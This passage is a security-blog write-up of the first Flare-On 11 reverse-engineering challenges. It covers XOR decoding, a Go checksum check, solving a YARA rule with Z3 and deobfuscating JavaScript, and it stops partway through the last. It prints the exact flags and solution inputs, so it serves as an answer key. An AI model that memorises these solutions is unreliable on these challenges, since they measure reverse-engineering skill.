セキュリティブログ

Flare-On 11 Write-Up

Flare-On 11 Write-Up

更新日:2024.11.11

Hi everyone, I'm SuperFashi, a Reverse Engineer at GMO Cybersecurity by Ierae, Inc. Just like previous years, I participated in the 11th annual Flare-On reverse engineering challenge. This year I got the 5th place, solving all challenges in around 5 days.

image-20241031152546252.png

My collegue Furukawa-san also has a Write-Up in Japanese over here https://gmo-cybersecurity.com/blog/flare-on-11-write-up-ja/, please check it out.

Before going into the write-up, here's a message from our sponsor 😀

Ierae is looking for cybersecurity talents from all over the world! We are a cybersecurity company under GMO Internet Group located in Shibuya, Tokyo, Japan. From forensics and SOC to Web/IoT penetration, we provide a wide range of services and hence need a variety of talents. Our company adapts a flexible work model that includes hybrid work options and flextime. We offer support with relocation to Tokyo, and provide opportunities for remote work from abroad. Japanese language skills are preferred but not required for some departments. If you are interested, please check https://gmo-cybersecurity.com/recruit/contact/ or contact me personally at superfashi@gmo-cybersecurity.com.


1 - frog

For the first challenge, we are given a game written in Python. Luckily the source code is also given, so let's dig into the source code directly.

The source code is not that long, and quickly we noticed the GenerateFlagText function. If we read this line closely:

return ''.join([chr(ord(c) ^ key) for c in encoded])

It seems to be XOR'ing every character in a constant string with a "key." We don't know the key yet, but we can know that key is a single byte, unchanged for any location of the encoded string.

Because of this, I thought of three approaches to this problem:

  1. Find out what the key is, by reading more code.
  2. Brute-force all possible keys.
  3. Calculate the key by known-plaintext attack.

While 1 is probably the "intended" way to solve the challenge, it would be interesting (and time-saving) to think about 2 and 3 first:

For 2, because the key is a single byte, there's only 256 possible options for the key to be. We can simply try out all the possible keys and find out the flag by eye-balling the decrypted text. Here's a CyberChef recipe for it:

image.png

For 3, If you read the description of the challenge closely, you should notice that

All flags in this event are formatted as email addresses ending with the @flare-on.com domain.

Which gives us a (portion of) plaintext. We can XOR the known-part of the plaintext to the end of the cipher-text using a Python script:

>>> encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
>>> known = "@flare-on.com"
>>> [ord(k) ^ ord(c) for (k, c) in zip(known, encoded[-len(known):])]
[210, 210, 210, 210, 210, 210, 210, 210, 210, 210, 210, 210, 210]
>>> "".join(chr(ord(c) ^ 210) for c in encoded)
'welcome_to_11@flare-on.com'

Which gives us the key to be 210 (or 0xd2 in hex). XOR it with the encoded string and we get the flag.

Now let's see how to solve this challenge properly. Looking at the entire code, there's only one place that uses GenerateFlagText:

if player.x == victory_tile.x and player.y == victory_tile.y:
  ...
  flag_text = GenerateFlagText(player.x, player.y)

This means, the flag would be decrypted if the input is the correct player.x and player.y. It is only correct when they are equal to victory_tile.x and victory_tile.y. At the beginning of the file, we see that

victory_tile = pygame.Vector2(10, 10)

Meaning that the correct input to GenerateFlagText would be (10, 10). So we input it and get the flag:

>>> GenerateFlagText(10, 10)
'welcome_to_11@flare-on.com'

2 - checksum

We are given a single .exe PE executable in AMD64 arch. Opening it with Ghidra, we see that it is built with Go 1.22.2.

image-20241031162001782.png

However, although Ghidra (and IDA) claims to have good Golang support, in real situations like this one, I found that the decompiled code is still a bit hard to read. The strings are not processed good enough, and function call arguments and return values are all over the place because of the non-conventional calling convention.

When in doubt, remember to always consult the disassembler.

Since it is Go, let's go to main.main function. First, we are met with a for loop. In each loop, it generates two random values and ask the user to input the sum. It does this for a random number of times. However, this part does not contribute to the following process, so we can safely ignore it.

After the for loop, it asks for a new input "Checksum." Based on the checks after input, it needs to be a hex string which decodes to a 32-byte data. Using this decoded 32-byte data as a key, it creates a XChaCha20-Poly1305 AEAD cipher (notice the X here). Then, it calls the Open method on the cipher to decrypt main.encryptedFlagData, which is a constant data of size 0x2c52c. Note that it uses the first 24 bytes of the key as the nonce. The whole process basically boils down to:

key := hex.DecodeString(input)
cipher := chacha20poly1305.NewX(key)
decrypted := cipher.Open(nil, key[:24], main.encryptedFlagData, nil)

We don't know the key yet. It is also non-brute-forceable as it is 32 bytes long. Let's continue reading the code:

First, it uses SHA 256 to hash the decrypted data. Then, it turns the hash into hex and compare it with the input hex string (checksum). If it is the same, it calls function main.a with the input hex string. If the function call returns true, it will finally output the decrypted data to {os.UserCacheDir()}\REAL_FLAREON_FLAG.JPG.

So let's take a look at what main.a does—it's actually not that complicated. We see that it first XOR's the input string with a constant string FlareOn2024. Then it encodes the XOR'd string to base64, and compare it with a constant string cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA==. So to get the input, all we need to do is to reverse this process:

image.png

So the checksum hex input we are looking for is 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd!

Now we have this, we can simply write a script to do the decryption, but where’s the fun in that? What I like to do, is to simply run the program and have it presents us the flag:

image.png

And we found the flag image in %LocalAppData%\REAL_FLAREON_FLAG.jpg, just as expected.

REAL_FLAREON_FLAG.JPG

3 - aray

We are given a single aray.yara file. YARA file is basically a rule file for detecting certain file patterns. It is used widely in detecting malicious programs/files by antivirus softwares.

For the YARA file we are given, if we look at the condition section, we can see it’s basically hundreds of rules chained together using and. For a target file to match, we essentially want to satisfy all the conditions.

We can categorize the conditions into the following categories:

  • The first condition is specially indicating the file contains 85 bytes.
  • The second condition is specially indicating the file’s MD5 hash is b7dc94ca98aa58dabb5404541c812db2.
  • Conditions that are normal linear operations can be translated to Z3 expressions directly. A few examples:
    • filesize ^ uint8(11) != 107filesize ^ flag[11] != 107
    • uint8(55) & 128 == 0flag[55] & 128 == 0
    • uint8(48) % 12 < 12ULT(flag[48] % 12, 12)
  • Conditions that are hashes at first glance seems impossible to be solved by Z3. However, if we take a more closer look, all the hashes are done only on exactly 2 bytes. Therefore, we can write “solve” functions that looks like the following

    def crc32_solve(index, size, target):
      assert size == 2
      for i in range(256):
        for j in range(256):
          if binascii.crc32(bytearray((i, j))) == target:
            return flag[index] == i and flag[index + 1] == j
    
    def md5_solve(index, size, target):
      assert size == 2
      for i in range(256):
        for j in range(256):
          if hashlib.md5(bytearray((i, j))).hexdigest() == target:
            return flag[index] == i and flag[index + 1] == j
    
    def sha256_solve(index, size, target):
      assert size == 2
      for i in range(256):
        for j in range(256):
          if hashlib.sha256(bytearray((i, j))).hexdigest() == target:
            return flag[index] == i and flag[index + 1] == j

    Which essentially brute forces the possible plaintext and find out the solution.

Also note that sometimes uint32 pops up. Things like this are a bit annoying because it’s gonna take sometime to figure out if uint32 in YARA rules are little-, big- or native-endian. In my case, I just tried both and see which one gives SAT result. Or of course you can believe in AI:

image.png

Anyway, these are the Z3 conditions after conversion:

filesize = 85
flag = [z3.BitVec(f'f{i}', 8) for i in range(filesize)]
conds = [filesize ^ flag[11] != 107, 
flag[55] & 128 == 0, 
flag[58] + 25 == 122, 
flag[7] & 128 == 0, 
z3.ULT(flag[48] % 12, 12), 
z3.UGT(flag[17], 31), 
z3.UGT(flag[68], 10), 
z3.ULT(flag[56], 155), 
uint32(52) ^ 425706662 == 1495724241, 
z3.ULT(flag[0] % 25, 25), 
filesize ^ flag[75] != 25, 
filesize ^ flag[28] != 12, 
z3.ULT(flag[35], 160), 
flag[3] & 128 == 0, 
flag[56] & 128 == 0, 
z3.ULT(flag[28] % 27, 27), 
z3.UGT(flag[4], 30), 
flag[15] & 128 == 0, 
z3.ULT(flag[68] % 19, 19), 
z3.ULT(flag[19], 151), 
filesize ^ flag[73] != 17, 
filesize ^ flag[31] != 5, 
z3.ULT(flag[38] % 24, 24), 
z3.UGT(flag[3], 21), 
flag[54] & 128 == 0, 
filesize ^ flag[66] != 146, 
uint32(17) - 323157430 == 1412131772, 
crc32_solve(8, 2, 0x61089c5c), 
filesize ^ flag[77] != 22, 
z3.ULT(flag[75] % 24, 24), 
z3.ULT(flag[66], 133), 
z3.ULT(flag[21] % 11, 11), 
z3.ULT(flag[46], 154), 
crc32_solve(34, 2, 0x5888fc1b), 
z3.UGT(flag[55], 5), 
flag[36] + 4 == 72, 
filesize ^ flag[82] != 228, 
filesize ^ flag[13] != 42, 
filesize ^ flag[6] != 39, 
z3.ULT(flag[33], 160), 
filesize ^ flag[55] != 244, 
filesize ^ flag[15] != 205, 
filesize ^ flag[3] != 43, 
filesize ^ flag[54] != 39, 
flag[28] & 128 == 0, 
z3.ULT(flag[10], 146), 
filesize ^ flag[56] != 246, 
filesize ^ flag[32] != 77, 
z3.UGT(flag[73], 26), 
z3.UGT(flag[36], 11), 
z3.UGT(flag[70], 6), 
filesize ^ flag[33] != 27, 
flag[48] & 128 == 0, 
filesize ^ flag[74] != 45, 
flag[27] ^ 21 == 40, 
z3.ULT(flag[60] % 23, 23), 
filesize ^ flag[67] != 63, 
filesize ^ flag[0] != 16, 
z3.ULT(flag[51] % 15, 15), 
z3.UGT(flag[50], 19), 
z3.ULT(flag[27], 147), 
filesize ^ flag[40] != 230, 
filesize ^ flag[2] != 205, 
z3.ULT(flag[79] % 24, 24), 
z3.ULT(flag[69], 148), 
flag[16] & 128 == 0, 
z3.ULT(flag[61] % 26, 26), 
z3.UGT(flag[63], 31), 
flag[14] & 128 == 0, 
z3.UGT(flag[35], 1), 
filesize ^ flag[11] != 33, 
z3.ULT(flag[52], 136), 
z3.UGT(flag[54], 15), 
filesize ^ flag[20] != 83, 
z3.UGT(flag[43], 24), 
z3.ULT(flag[82], 152), 
uint32(59) ^ 512952669 == 1908304943, 
filesize ^ flag[79] != 186, 
filesize ^ flag[83] != 197, 
z3.ULT(flag[39], 134), 
filesize ^ flag[43] != 33, 
z3.UGT(flag[72], 10), 
z3.ULT(flag[83], 134), 
z3.ULT(flag[44] % 27, 27), 
z3.ULT(flag[40], 131), 
z3.ULT(flag[80] % 31, 31), 
filesize ^ flag[47] != 11, 
z3.ULT(flag[55] % 11, 11), 
filesize ^ flag[71] != 3, 
flag[65] - 29 == 70, 
z3.UGT(flag[58], 30), 
filesize ^ flag[37] != 37, 
z3.ULT(flag[60], 130), 
flag[27] & 128 == 0, 
z3.ULT(flag[3], 141), 
flag[73] & 128 == 0, 
filesize ^ flag[70] != 209, 
filesize ^ flag[2] != 54, 
filesize ^ flag[20] != 17, 
z3.UGT(flag[33], 18), 
z3.ULT(flag[37] % 19, 19), 
filesize ^ flag[62] != 15, 
filesize ^ flag[10] != 44, 
z3.ULT(flag[7] % 12, 12), 
z3.UGT(flag[71], 19), 
filesize ^ flag[50] != 86, 
flag[45] ^ 9 == 104, 
z3.ULT(flag[8], 133), 
z3.ULT(flag[31], 145), 
z3.UGT(flag[14], 20), 
z3.ULT(flag[54] % 25, 25), 
filesize ^ flag[49] != 156, 
z3.UGT(flag[47], 13), 
z3.UGT(flag[29], 22), 
z3.ULT(flag[14] % 19, 19), 
filesize ^ flag[17] != 16, 
filesize ^ flag[12] != 226, 
filesize ^ flag[65] != 28, 
flag[45] & 128 == 0, 
filesize ^ flag[6] != 129, 
z3.ULT(flag[18] % 30, 30), 
filesize ^ flag[62] != 246, 
z3.ULT(flag[78] % 13, 13), 
flag[36] & 128 == 0, 
flag[10] & 128 == 0, 
z3.UGT(flag[62], 1), 
flag[33] & 128 == 0, 
filesize ^ flag[83] != 31, 
z3.ULT(flag[83] % 21, 21), 
z3.UGT(flag[11], 18), 
z3.ULT(flag[80], 143), 
z3.ULT(flag[81] % 14, 14), 
z3.ULT(flag[43], 160), 
z3.UGT(flag[1], 19), 
z3.ULT(flag[42] % 17, 17), 
z3.ULT(flag[44], 147), 
filesize ^ flag[63] != 34, 
filesize ^ flag[44] != 17, 
uint32(28) - 419186860 == 959764852, 
flag[74] + 11 == 116, 
z3.ULT(flag[48], 136), 
z3.ULT(flag[47], 142), 
crc32_solve(63, 2, 0x66715919), 
z3.ULT(flag[58], 146), 
filesize ^ flag[71] != 128, 
z3.ULT(flag[45], 136), 
z3.ULT(flag[31] % 17, 17), 
flag[43] & 128 == 0, 
filesize ^ flag[43] != 251, 
z3.UGT(flag[65], 1), 
flag[24] & 128 == 0, 
z3.ULT(flag[37], 139), 
filesize ^ flag[28] != 238, 
flag[78] & 128 == 0, 
filesize ^ flag[13] != 219, 
z3.ULT(flag[19] % 30, 30), 
sha256_solve(14, 2, "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f"), 
filesize ^ flag[53] != 243, 
flag[81] & 128 == 0, 
z3.ULT(flag[46] % 28, 28), 
filesize ^ flag[65] != 215, 
filesize ^ flag[0] != 41, 
z3.ULT(flag[84], 129), 
flag[60] & 128 == 0, 
z3.UGT(flag[20], 1), 
z3.ULT(flag[2] % 28, 28), 
z3.ULT(flag[58] % 14, 14), 
flag[34] & 128 == 0, 
flag[21] & 128 == 0, 
z3.ULT(flag[84] % 18, 18), 
z3.ULT(flag[74] % 10, 10), 
z3.ULT(flag[9], 151), 
z3.ULT(flag[73] % 23, 23), 
filesize ^ flag[39] != 49, 
z3.ULT(flag[4] % 17, 17), 
filesize ^ flag[60] != 142, 
filesize ^ flag[69] != 30, 
z3.UGT(flag[30], 6), 
flag[65] & 128 == 0, 
z3.ULT(flag[39] % 11, 11), 
z3.ULT(flag[13] % 27, 27), 
z3.ULT(flag[17] % 11, 11), 
z3.ULT(flag[56] % 26, 26), 
z3.ULT(flag[29], 157), 
flag[57] & 128 == 0, 
filesize ^ flag[29] != 37, 
z3.UGT(flag[77], 5), 
filesize ^ flag[16] != 144, 
flag[37] & 128 == 0, 
filesize ^ flag[25] != 47, 
flag[67] & 128 == 0, 
filesize ^ flag[24] != 94, 
z3.ULT(flag[68], 138), 
z3.ULT(flag[57], 138), 
filesize ^ flag[27] != 43, 
filesize ^ flag[30] != 18, 
filesize ^ flag[59] != 13, 
z3.ULT(flag[27] % 26, 26), 
z3.UGT(flag[56], 8), 
flag[69] & 128 == 0, 
flag[18] & 128 == 0, 
z3.ULT(flag[64], 154), 
flag[76] & 128 == 0, 
z3.ULT(flag[71] % 28, 28), 
filesize ^ flag[84] != 3, 
filesize ^ flag[38] != 84, 
z3.ULT(flag[32], 140), 
filesize ^ flag[42] != 91, 
z3.UGT(flag[40], 15), 
z3.UGT(flag[27], 23), 
z3.ULT(flag[6] % 12, 12), 
z3.ULT(flag[10] % 10, 10), 
z3.ULT(flag[8] % 21, 21), 
filesize ^ flag[18] != 234, 
flag[68] & 128 == 0, 
z3.ULT(flag[7], 131), 
z3.ULT(flag[72], 134), 
z3.UGT(flag[16], 25), 
z3.ULT(flag[12] % 23, 23), 
z3.ULT(flag[41] % 27, 27), 
z3.ULT(flag[1] % 17, 17), 
z3.UGT(flag[26], 31), 
sha256_solve(56, 2, "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"), 
z3.ULT(flag[65], 149), 
filesize ^ flag[51] != 0, 
z3.UGT(flag[66], 30), 
filesize ^ flag[68] != 8, 
z3.ULT(flag[25] % 23, 23), 
flag[1] & 128 == 0, 
filesize ^ flag[81] != 7, 
z3.ULT(flag[36] % 22, 22), 
z3.ULT(flag[24], 148), 
z3.ULT(flag[12], 147), 
z3.ULT(flag[74], 152), 
filesize ^ flag[21] != 27, 
filesize ^ flag[23] != 18, 
flag[38] & 128 == 0, 
z3.ULT(flag[26] % 25, 25), 
filesize ^ flag[19] != 31, 
z3.UGT(flag[82], 3), 
z3.ULT(flag[5] % 27, 27), 
flag[5] & 128 == 0, 
flag[75] - 30 == 86, 
z3.ULT(flag[54], 152), 
z3.ULT(flag[75], 142), 
z3.ULT(flag[20] % 28, 28), 
flag[30] & 128 == 0, 
uint32(66) ^ 310886682 == 849718389, 
z3.ULT(flag[64] % 24, 24), 
uint32(10) + 383041523 == 2448764514, 
flag[79] & 128 == 0, 
filesize ^ flag[59] != 194, 
flag[61] & 128 == 0, 
z3.ULT(flag[70], 139), 
flag[77] & 128 == 0, 
flag[13] & 128 == 0, 
z3.ULT(flag[21], 138), 
filesize ^ flag[46] != 186, 
z3.ULT(flag[43] % 26, 26), 
z3.ULT(flag[61], 160), 
filesize ^ flag[34] != 39, 
z3.UGT(flag[6], 6), 
flag[35] & 128 == 0, 
z3.ULT(flag[23], 141), 
filesize ^ flag[82] != 32, 
filesize ^ flag[48] != 29, 
flag[59] & 128 == 0, 
z3.ULT(flag[40] % 19, 19), 
filesize ^ flag[39] != 18, 
filesize ^ flag[45] != 146, 
flag[80] & 128 == 0, 
z3.ULT(flag[16], 134), 
z3.UGT(flag[74], 1), 
flag[23] & 128 == 0, 
flag[32] & 128 == 0, 
filesize ^ flag[47] != 119, 
filesize ^ flag[63] != 135, 
z3.UGT(flag[64], 27), 
uint32(37) + 367943707 == 1228527996, 
z3.ULT(flag[82] % 28, 28), 
z3.UGT(flag[32], 28), 
filesize ^ flag[24] != 217, 
z3.ULT(flag[53], 144), 
flag[29] & 128 == 0, 
uint32(22) ^ 372102464 == 1879700858, 
z3.ULT(flag[52] % 23, 23), 
filesize ^ flag[76] != 88, 
filesize ^ flag[55] != 17, 
flag[26] & 128 == 0, 
z3.UGT(flag[51], 7), 
z3.UGT(flag[12], 19), 
filesize ^ flag[14] != 99, 
filesize ^ flag[37] != 141, 
filesize ^ flag[14] != 161, 
z3.ULT(flag[45] % 17, 17), 
z3.ULT(flag[33] % 25, 25), 
filesize ^ flag[67] != 55, 
filesize ^ flag[53] != 19, 
z3.ULT(flag[30], 131), 
flag[0] & 128 == 0, 
flag[66] & 128 == 0, 
z3.UGT(flag[41], 5), 
flag[71] & 128 == 0, 
z3.ULT(flag[29] % 12, 12), 
z3.ULT(flag[4], 139), 
z3.ULT(flag[77], 154), 
filesize ^ flag[12] != 116, 
z3.UGT(flag[39], 7), 
flag[75] & 128 == 0, 
z3.UGT(flag[78], 24), 
z3.UGT(flag[69], 25), 
flag[2] + 11 == 119, 
z3.ULT(flag[15], 156), 
filesize ^ flag[69] != 241, 
filesize ^ flag[35] != 18, 
filesize ^ flag[17] != 208, 
md5_solve(0, 2, "89484b14b36a8d5329426a3d944d2983"), 
filesize ^ flag[4] != 23, 
z3.ULT(flag[15] % 16, 16), 
filesize ^ flag[75] != 35, 
uint32(46) - 412326611 == 1503714457, 
z3.ULT(flag[11] % 27, 27), 
crc32_solve(78, 2, 0x7cab8d64), 
flag[83] & 128 == 0, 
filesize ^ flag[26] != 161, 
z3.ULT(flag[49] % 13, 13), 
filesize ^ flag[18] != 33, 
z3.ULT(flag[6], 155), 
z3.ULT(flag[41], 140), 
filesize ^ flag[68] != 135, 
filesize ^ flag[9] != 5, 
flag[9] & 128 == 0, 
filesize ^ flag[36] != 95, 
z3.UGT(flag[7], 18), 
filesize ^ flag[23] != 242, 
z3.ULT(flag[62], 146), 
flag[49] & 128 == 0, 
flag[62] & 128 == 0, 
flag[4] & 128 == 0, 
filesize ^ flag[58] != 12, 
flag[72] & 128 == 0, 
z3.UGT(flag[18], 13), 
filesize ^ flag[42] != 1, 
z3.ULT(flag[59] % 23, 23), 
flag[53] & 128 == 0, 
filesize ^ flag[78] != 163, 
z3.UGT(flag[60], 14), 
z3.ULT(flag[47] % 18, 18), 
z3.UGT(flag[79], 31), 
z3.ULT(flag[22], 152), 
filesize ^ flag[64] != 50, 
filesize ^ flag[19] != 222, 
z3.ULT(flag[81], 131), 
flag[7] - 15 == 82, 
filesize ^ flag[51] != 204, 
z3.UGT(flag[28], 27), 
uint32(70) + 349203301 == 2034162376, 
filesize ^ flag[61] != 94, 
z3.UGT(flag[76], 2), 
filesize ^ flag[77] != 223, 
z3.UGT(flag[19], 4), 
z3.UGT(flag[80], 2), 
filesize ^ flag[35] != 120, 
filesize ^ flag[22] != 31, 
z3.UGT(flag[10], 9), 
z3.UGT(flag[22], 20), 
z3.ULT(flag[38], 135), 
filesize ^ flag[10] != 205, 
flag[25] & 128 == 0, 
z3.ULT(flag[13], 147), 
flag[42] & 128 == 0, 
md5_solve(76, 2, "f98ed07a4d5f50f7de1410d905f1477f"), 
filesize ^ flag[48] != 99, 
filesize ^ flag[16] != 7, 
z3.ULT(flag[11], 154), 
filesize ^ flag[76] != 30, 
z3.ULT(flag[30] % 15, 15), 
filesize ^ flag[74] != 193, 
filesize ^ flag[52] != 22, 
filesize ^ flag[36] != 6, 
z3.ULT(flag[22] % 22, 22), 
flag[44] & 128 == 0, 
flag[50] & 128 == 0, 
filesize ^ flag[25] != 224, 
z3.UGT(flag[15], 26), 
filesize ^ flag[60] != 43, 
flag[22] & 128 == 0, 
flag[82] & 128 == 0, 
uint32(80) - 473886976 == 69677856, 
z3.UGT(flag[75], 30), 
z3.ULT(flag[32] % 17, 17), 
filesize ^ flag[15] != 27, 
z3.ULT(flag[67] % 16, 16), 
z3.UGT(flag[23], 2), 
z3.ULT(flag[62] % 13, 13), 
z3.ULT(flag[34], 138), 
filesize ^ flag[31] != 32, 
z3.ULT(flag[72] % 14, 14), 
filesize ^ flag[81] != 242, 
filesize ^ flag[54] != 141, 
flag[63] & 128 == 0, 
z3.ULT(flag[0], 129), 
z3.ULT(flag[70] % 21, 21), 
flag[8] & 128 == 0, 
z3.UGT(flag[61], 12), 
z3.UGT(flag[24], 22), 
z3.ULT(flag[53] % 23, 23), 
flag[46] & 128 == 0, 
z3.ULT(flag[24] % 26, 26), 
uint32(3) ^ 298697263 == 2108416586, 
flag[21] - 21 == 94, 
z3.ULT(flag[67], 144), 
z3.UGT(flag[48], 15), 
z3.UGT(flag[37], 16), 
z3.ULT(flag[42], 157), 
flag[16] ^ 7 == 115, 
z3.UGT(flag[13], 21), 
filesize ^ flag[45] != 19, 
flag[47] & 128 == 0, 
filesize ^ flag[80] != 56, 
filesize ^ flag[78] != 6, 
z3.ULT(flag[76] % 24, 24), 
z3.ULT(flag[73], 136), 
filesize ^ flag[52] != 238, 
z3.ULT(flag[50] % 11, 11), 
filesize ^ flag[7] != 15, 
filesize ^ flag[66] != 51, 
z3.UGT(flag[59], 4), 
z3.UGT(flag[46], 22), 
filesize ^ flag[3] != 147, 
z3.ULT(flag[63] % 30, 30), 
z3.ULT(flag[36], 146), 
z3.ULT(flag[26], 132), 
flag[6] & 128 == 0, 
filesize ^ flag[30] != 249, 
uint32(41) + 404880684 == 1699114335, 
filesize ^ flag[5] != 243, 
flag[70] & 128 == 0, 
z3.ULT(flag[9] % 22, 22), 
z3.ULT(flag[59], 141), 
filesize ^ flag[79] != 104, 
filesize ^ flag[5] != 43, 
filesize ^ flag[72] != 219, 
z3.UGT(flag[52], 25), 
flag[74] & 128 == 0, 
z3.ULT(flag[28], 160), 
flag[51] & 128 == 0, 
md5_solve(50, 2, "657dae0913ee12be6fb2a6f687aae1c7"), 
z3.UGT(flag[83], 16), 
z3.UGT(flag[31], 7), 
flag[84] & 128 == 0, 
filesize ^ flag[46] != 18, 
z3.UGT(flag[2], 20), 
z3.ULT(flag[5], 158), 
filesize ^ flag[32] != 30, 
filesize ^ flag[50] != 219, 
flag[26] - 7 == 25, 
z3.UGT(flag[53], 24), 
z3.ULT(flag[77] % 24, 24), 
z3.ULT(flag[3] % 13, 13), 
filesize ^ flag[9] != 164, 
filesize ^ flag[80] != 236, 
z3.ULT(flag[65] % 22, 22), 
filesize ^ flag[84] != 231, 
filesize ^ flag[49] != 10, 
z3.UGT(flag[67], 27), 
z3.ULT(flag[34] % 19, 19), 
flag[64] & 128 == 0, 
filesize ^ flag[27] != 244, 
flag[12] & 128 == 0, 
z3.ULT(flag[51], 139), 
z3.ULT(flag[35] % 15, 15), 
z3.UGT(flag[5], 14), 
filesize ^ flag[34] != 115, 
filesize ^ flag[38] != 8, 
filesize ^ flag[72] != 37, 
flag[20] & 128 == 0, 
z3.ULT(flag[17], 150), 
filesize ^ flag[70] != 41, 
z3.ULT(flag[66] % 16, 16), 
flag[17] & 128 == 0, 
flag[19] & 128 == 0, 
filesize ^ flag[33] != 157, 
z3.UGT(flag[21], 7), 
flag[58] & 128 == 0, 
z3.ULT(flag[71], 130), 
flag[41] & 128 == 0, 
z3.UGT(flag[57], 11), 
md5_solve(32, 2, "738a656e8e8ec272ca17cd51e12f558b"), 
filesize ^ flag[8] != 2, 
filesize ^ flag[57] != 186, 
flag[11] & 128 == 0, 
z3.ULT(flag[2], 147), 
z3.ULT(flag[23] % 16, 16), 
z3.ULT(flag[78], 141), 
z3.UGT(flag[38], 18), 
filesize ^ flag[41] != 233, 
z3.ULT(flag[18], 137), 
flag[40] & 128 == 0, 
filesize ^ flag[21] != 188, 
filesize ^ flag[57] != 14, 
filesize ^ flag[4] != 253, 
z3.ULT(flag[14], 153), 
flag[31] & 128 == 0, 
z3.UGT(flag[81], 11), 
flag[2] & 128 == 0, 
filesize ^ flag[22] != 191, 
z3.UGT(flag[44], 5), 
flag[84] + 3 == 128, 
z3.ULT(flag[20], 135), 
filesize ^ flag[73] != 61, 
filesize ^ flag[26] != 44, 
z3.ULT(flag[1], 158), 
filesize ^ flag[29] != 158, 
z3.ULT(flag[49], 129), 
filesize ^ flag[64] != 158, 
z3.ULT(flag[25], 154), 
z3.ULT(flag[63], 129), 
z3.UGT(flag[84], 26), 
flag[39] & 128 == 0, 
z3.UGT(flag[25], 27), 
z3.UGT(flag[49], 27), 
z3.UGT(flag[9], 23), 
filesize ^ flag[7] != 221, 
z3.ULT(flag[50], 138), 
z3.ULT(flag[76], 156), 
filesize ^ flag[61] != 239, 
z3.ULT(flag[57] % 27, 27), 
filesize ^ flag[8] != 107, 
z3.ULT(flag[79], 146), 
filesize ^ flag[40] != 49, 
z3.UGT(flag[0], 30), 
z3.UGT(flag[45], 17), 
z3.ULT(flag[16] % 31, 31), 
filesize ^ flag[1] != 232, 
filesize ^ flag[56] != 22, 
z3.UGT(flag[42], 3), 
flag[52] & 128 == 0, 
z3.ULT(flag[69] % 30, 30), 
z3.ULT(flag[55], 153), 
filesize ^ flag[41] != 74, 
filesize ^ flag[1] != 0, 
filesize ^ flag[44] != 96, 
filesize ^ flag[58] != 77, 
z3.UGT(flag[34], 18), 
z3.UGT(flag[8], 3),
]

Let’s have Z3 solve it then… Wait, the solution doesn’t look correct:

rvle flardon { [trings: $f = "1Ru;e5DayK33p$Malw4r36w4y@fIare-on<com" conditivn  $f }

Alright, we run into the classic CTF reversing problem that involves Z3: multiple solutions. Normally the author is the one to blame here, cause from now on it’s basically guessing game.

Note a few thing: the file does not only contain the flag string as I originally assumed. So we can make a few educated guess:

  • The file looks like it should be fully printable characters, so we add the constraint for that.
  • The middle string looks like the flag. So it must ends with @flare-on.com.
r6le flardon { ;trings: $f = "1Ruse,DayK33p$Malw4r3iw4y@flare-on.com" conditionP $f }

Oh no it’s still not good. Ok let’s make a few more guessses.

  • That flardon looks like flareon.
  • That ;trings looks like strings.
rWle flareon { strings: $f = "1Ru3e,DayK33p$Malw4r3>w4y@flare-on.com" conditionx $f }

Still not enough. At this point I suddenly noticed that this looks like a YARA rule. So we guess

  • rWle is actually rule.
  • conditionx is actually condition:.
rule flareon { strings: $f = "1Ru8eKDayK33p$Malw4r3<w4y@flare-on.com" condition: $f }

Nope, still not accepted. At this point we have to rely on printing out all the possible solutions and maybe we can get some info out of it.

Here’s a short tutorial of how to get a new solution from Z3 if you already have one solution: Say you flag characters are stored in array flag, and the model you get from the solver is model. A new solution means that at least one of the flag character is different from the original solution. This translates to the condition that flag[i] != model[flag[i]] for at least one character position i. If we write it out in one line, it would be

z3.Or(*(f != model[f] for f in flag))

So we print out some solutions and stare at them. I see that only 3 bytes are changing, which are the bytes at index 33, 35 and 51. Since there are only 3 bytes, we can brute force it:

for i in range(32, 128):
  for j in range(32, 128):
    for k in range(32, 128):
      flag[33] = i
      flag[35] = j
      flag[51] = k

      if hashlib.md5(flag).hexdigest() == "b7dc94ca98aa58dabb5404541c812db2":
        print(flag)
        exit(0)

And finally we have the whole file that contains the correct flag:

rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }

4 - Meme Maker 3000

We are given a single HTML file with a obfuscated JavaScript inside. The first step would be to deobfuscate it. Luckily for us there are already existing tools for that. I’m using deobfuscate.relative.im and it gives a nice result (the Base64s are truncated):

const a0c = [
    'When you find a buffer overflow in legacy code',
    'Reverse Engineer',
    'When you decompile the obfuscated code and it makes perfect sense',
    'Me after a week of reverse engineering',
    'When your decompiler crashes',
    "It's not a bug, it'a a feature",
    "Security 'Expert'",
    'AI',
    "That's great, but can you hack it?",
    'When your code compiles for the first time',
    "If it ain't broke, break it",
    "Reading someone else's code",
    'EDR',
    'This is fine',
    'FLARE On',
    "It's always DNS",
    'strings.exe',
    "Don't click on that.",
    'When you find the perfect 0-day exploit',
    'Security through obscurity',
    'Instant Coffee',
    'H@x0r',
    'Malware',
    '$1,000,000',
    'IDA Pro',
    'Security Expert',
  ],
  a0d = {
    doge1: [
      ['75%', '25%'],
      ['75%', '82%'],
    ],
    boy_friend0: [
      ['75%', '25%'],
      ['40%', '60%'],
      ['70%', '70%'],
    ],
    draw: [['30%', '30%']],
    drake: [
      ['10%', '75%'],
      ['55%', '75%'],
    ],
    two_buttons: [
      ['10%', '15%'],
      ['2%', '60%'],
    ],
    success: [['75%', '50%']],
    disaster: [['5%', '50%']],
    aliens: [['5%', '50%']],
  },
  a0e = {
    'doge1.png':
      'data:image/png; <truncated>',
    'draw.jpg':
      'data:image/jpeg; <truncated>',
    'drake.jpg':
      'data:image/jpeg; <truncated>',
    'two_buttons.jpg':
      'data:image/jpeg; <truncated>',
    'fish.jpg':
      'data:binary/red; <truncated>',
    'boy_friend0.jpg':
      'data:image/jpeg; <truncated>',
    'success.jpg':
      'data:image/jpeg; <truncated>',
    'disaster.jpg':
      'data:image/jpeg; <truncated>',
    'aliens.jpg':
      'data:image/jpeg; <truncated>',
  }
function a0f() {
